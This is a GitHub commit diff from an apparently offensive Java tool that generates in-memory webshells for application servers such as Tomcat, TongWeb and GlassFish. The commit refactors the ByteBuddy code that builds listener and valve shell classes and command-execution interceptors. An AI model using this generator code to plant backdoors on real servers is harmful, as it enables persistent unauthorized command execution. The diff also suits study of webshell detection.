Skip to content

Commit f5315a4

Browse files
committed
refactor: build valve and listener shell when generate
1 parent 7069c4a commit f5315a4

File tree

34 files changed

+67
-2419
lines changed

34 files changed

+67
-2419
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

Lines changed: 17 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,13 @@
11
package com.reajason.javaweb.memshell.generator;
22

33
import com.reajason.javaweb.ClassBytesShrink;
4-
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
54
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
65
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
76
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
7+
import com.reajason.javaweb.memshell.ShellType;
88
import com.reajason.javaweb.memshell.config.ShellConfig;
99
import com.reajason.javaweb.memshell.config.ShellToolConfig;
10+
import com.reajason.javaweb.memshell.server.AbstractShell;
1011
import net.bytebuddy.ByteBuddy;
1112
import net.bytebuddy.dynamic.DynamicType;
1213

@@ -27,11 +28,24 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
2728

2829
@Override
2930
public byte[] getBytes() {
31+
Class<?> shellClass = shellToolConfig.getShellClass();
32+
String shellClassName = shellToolConfig.getShellClassName();
3033
DynamicType.Builder<?> builder = build(new ByteBuddy()
31-
.redefine(shellToolConfig.getShellClass())
32-
.name(shellToolConfig.getShellClassName())
34+
.redefine(shellClass)
35+
.name(shellClassName)
3336
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
3437

38+
String shellType = shellConfig.getShellType();
39+
AbstractShell shell = shellConfig.getServer().getShell();
40+
41+
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
42+
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
43+
}
44+
45+
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
46+
builder = ValveGenerator.build(builder, shell);
47+
}
48+
3549
if (shellConfig.isJakarta()) {
3650
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
3751
}
Lines changed: 3 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,12 @@
11
package com.reajason.javaweb.memshell.generator;
22

33
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
4-
import com.reajason.javaweb.memshell.utils.CommonUtil;
54
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
6-
import net.bytebuddy.ByteBuddy;
75
import net.bytebuddy.asm.Advice;
86
import net.bytebuddy.asm.AsmVisitorWrapper;
97
import net.bytebuddy.description.modifier.Ownership;
108
import net.bytebuddy.description.modifier.Visibility;
119
import net.bytebuddy.dynamic.DynamicType;
12-
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
1310
import net.bytebuddy.implementation.FixedValue;
1411

1512
import java.util.Collections;
@@ -22,18 +19,15 @@
2219
*/
2320
public class ListenerGenerator {
2421

25-
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
26-
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
22+
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
2723
boolean needAddGetFieldValue = false;
2824
try {
2925
targetClass.getMethod("getFieldValue", Object.class, String.class);
3026
} catch (NoSuchMethodException e) {
3127
needAddGetFieldValue = true;
3228
}
3329

34-
DynamicType.Builder<?> builder = new ByteBuddy()
35-
.redefine(targetClass)
36-
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
30+
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
3731
.method(named("getResponseFromRequest"),
3832
new MethodCallReplaceVisitorWrapper(
3933
newClassName,
@@ -48,11 +42,6 @@ public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Clas
4842
.intercept(FixedValue.nullValue())
4943
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
5044
}
51-
52-
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
53-
return unloaded
54-
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
55-
.getLoaded();
56-
}
45+
return builder;
5746
}
5847
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java

Lines changed: 15 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,18 @@
11
package com.reajason.javaweb.memshell.generator;
22

3-
import com.reajason.javaweb.memshell.utils.CommonUtil;
4-
import com.tongweb.web.thor.comet.CometEvent;
5-
import com.tongweb.web.thor.connector.Request;
6-
import com.tongweb.web.thor.connector.Response;
7-
import net.bytebuddy.ByteBuddy;
3+
import com.reajason.javaweb.memshell.server.*;
84
import net.bytebuddy.asm.AsmVisitorWrapper;
95
import net.bytebuddy.description.field.FieldDescription;
106
import net.bytebuddy.description.field.FieldList;
117
import net.bytebuddy.description.method.MethodList;
12-
import net.bytebuddy.description.modifier.Visibility;
138
import net.bytebuddy.description.type.TypeDescription;
149
import net.bytebuddy.dynamic.DynamicType;
15-
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
16-
import net.bytebuddy.implementation.FixedValue;
1710
import net.bytebuddy.implementation.Implementation;
1811
import net.bytebuddy.jar.asm.ClassVisitor;
1912
import net.bytebuddy.jar.asm.commons.ClassRemapper;
2013
import net.bytebuddy.jar.asm.commons.Remapper;
2114
import net.bytebuddy.pool.TypePool;
15+
import org.apache.commons.lang3.StringUtils;
2216
import org.jetbrains.annotations.NotNull;
2317

2418
/**
@@ -76,25 +70,20 @@ public String map(String typeName) {
7670
}
7771
}
7872

79-
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
80-
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
81-
82-
DynamicType.Builder<?> builder = new ByteBuddy()
83-
.redefine(targetClass)
84-
.name(newClassName)
85-
.visit(new ValveRenameVisitorWrapper(packageName));
86-
87-
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
88-
builder = builder
89-
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
90-
.intercept(FixedValue.value(""))
91-
.defineMethod("event", void.class, Visibility.PUBLIC)
92-
.withParameters(Request.class, Response.class, CometEvent.class)
93-
.intercept(FixedValue.originType());
73+
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
74+
String packageName = null;
75+
if (shell instanceof TongWeb6Shell) {
76+
packageName = TONGWEB6_VALVE_PACKAGE;
77+
} else if (shell instanceof TongWeb7Shell) {
78+
packageName = TONGWEB7_VALVE_PACKAGE;
79+
} else if (shell instanceof TongWeb8Shell) {
80+
packageName = TONGWEB8_VALVE_PACKAGE;
81+
} else if (shell instanceof BesShell) {
82+
packageName = BES_VALVE_PACKAGE;
9483
}
95-
96-
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
97-
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
84+
if (StringUtils.isEmpty(packageName)) {
85+
return builder;
9886
}
87+
return builder.visit(new ValveRenameVisitorWrapper(packageName));
9988
}
10089
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

Lines changed: 10 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,10 @@
44
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
55
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
66
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
7-
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
87
import com.reajason.javaweb.memshell.config.CommandConfig;
98
import com.reajason.javaweb.memshell.config.ShellConfig;
9+
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
1010
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
11-
import net.bytebuddy.ByteBuddy;
1211
import net.bytebuddy.asm.Advice;
1312
import net.bytebuddy.asm.AsmVisitorWrapper;
1413
import net.bytebuddy.description.modifier.Ownership;
@@ -24,25 +23,16 @@
2423
* @author ReaJason
2524
* @since 2024/11/24
2625
*/
27-
public class CommandGenerator {
28-
private final ShellConfig shellConfig;
29-
private final CommandConfig commandConfig;
26+
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
3027

3128
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
32-
this.shellConfig = shellConfig;
33-
this.commandConfig = commandConfig;
29+
super(shellConfig, commandConfig);
3430
}
3531

36-
public DynamicType.Builder<?> getBuilder() {
37-
if (commandConfig.getShellClass() == null) {
38-
throw new IllegalArgumentException("commandConfig.getClazz() == null");
39-
}
32+
@Override
33+
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
4034

41-
DynamicType.Builder<?> builder = new ByteBuddy()
42-
.redefine(commandConfig.getShellClass())
43-
.name(commandConfig.getShellClassName())
44-
.field(named("paramName")).value(commandConfig.getParamName())
45-
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
35+
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
4636

4737
if (shellConfig.isJakarta()) {
4838
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -52,12 +42,12 @@ public DynamicType.Builder<?> getBuilder() {
5242
builder = LogRemoveMethodVisitor.extend(builder);
5343
}
5444

55-
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
45+
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
5646
builder = builder
5747
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
5848
.method(named("getParam"),
5949
new MethodCallReplaceVisitorWrapper(
60-
commandConfig.getShellClassName(),
50+
shellToolConfig.getShellClassName(),
6151
Collections.singleton(ShellCommonUtil.class.getName()))
6252
)
6353
)
@@ -68,19 +58,12 @@ public DynamicType.Builder<?> getBuilder() {
6858
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
6959
}
7060

71-
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
61+
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
7262
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
73-
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
63+
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
7464
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
7565
}
7666

7767
return builder;
7868
}
79-
80-
public byte[] getBytes() {
81-
DynamicType.Builder<?> builder = getBuilder();
82-
try (DynamicType.Unloaded<?> make = builder.make()) {
83-
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
84-
}
85-
}
8669
}

generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ public class ApusicShell extends AbstractShell {
1818

1919
public static class ListenerInterceptor {
2020
@Advice.OnMethodExit
21-
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
21+
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
2222
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
2323
}
2424
}

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ public class GlassFishShell extends AbstractShell {
2020
public static class ListenerInterceptor {
2121

2222
@Advice.OnMethodExit
23-
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
23+
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
2424
try {
2525
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
2626
} catch (Exception e) {

generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ public class JettyShell extends AbstractShell {
1919
public static class ListenerInterceptor {
2020

2121
@Advice.OnMethodExit
22-
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
22+
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
2323
try {
2424
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
2525
} catch (Exception e) {

generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ public class ResinShell extends AbstractShell {
1818

1919
public static class ListenerInterceptor {
2020
@Advice.OnMethodExit
21-
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
21+
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
2222
response = ShellCommonUtil.getFieldValue(request, "_response");
2323
}
2424
}

generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java

Lines changed: 0 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,6 @@
22

33
import com.reajason.javaweb.memshell.Server;
44
import com.reajason.javaweb.memshell.ShellTool;
5-
import com.reajason.javaweb.memshell.ShellType;
6-
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
7-
import com.reajason.javaweb.memshell.generator.ValveGenerator;
85

96
import java.util.Map;
107
import java.util.Set;
@@ -28,27 +25,6 @@ public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping)
2825
if (shellClass == null) {
2926
continue;
3027
}
31-
32-
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
33-
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
34-
}
35-
boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
36-
if (isValve && shell instanceof TongWeb6Shell) {
37-
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
38-
}
39-
40-
if (isValve && shell instanceof TongWeb7Shell) {
41-
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
42-
}
43-
44-
if (isValve && shell instanceof TongWeb8Shell) {
45-
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
46-
}
47-
48-
if (isValve && shell instanceof BesShell) {
49-
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
50-
}
51-
5228
toolMappingBuilder.addShellClass(shellType, shellClass);
5329
}
5430
shell.addToolMapping(shellTool, toolMappingBuilder.build());

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ public class TomcatShell extends AbstractShell {
1616
public static class ListenerInterceptor {
1717

1818
@Advice.OnMethodExit
19-
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
19+
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
2020
try {
2121
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
2222
} catch (Exception e) {

0 commit comments

Comments
 (0)